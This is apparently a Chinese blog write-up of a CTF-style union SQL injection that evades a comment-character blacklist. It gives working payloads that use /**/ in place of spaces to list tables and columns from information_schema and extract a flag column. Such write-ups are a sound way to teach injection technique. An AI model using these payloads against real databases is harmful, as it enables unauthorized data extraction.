记一次过滤注释符的sql注入
写在前面:这个是一个很简单的联合注入,但是因为我对于这种通过输入来闭合,从而实现注入不是很熟悉,因此记录一下
1、fuzz测试
发现会给出过滤的字段
black_list is /if|and|s|#|--/i
不能通过注释掉后面的内容来闭合,所以这里要通过 构造闭合
用1or1=1测试有提示,说明闭合成功
2、联合注入
爆表名
username=/**/union/**/select/**/concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having1=1
爆列名
username=username=/**/union/**/select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=flag/**/having1=1
爆字段名
username=/**/union/**/select/**/group_concat(flag)/**/from/**/flag/**/having1=1
这里有两个坑
-
没有用having,语句一直无法执行成功,这个地方目前还没理解透彻 没有弄清楚concat函数与group_concat函数 concat和group_concat都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号
上一篇:
通过多线程提高代码的执行效率例子
下一篇:
PHP+MySQL实现新闻管理系统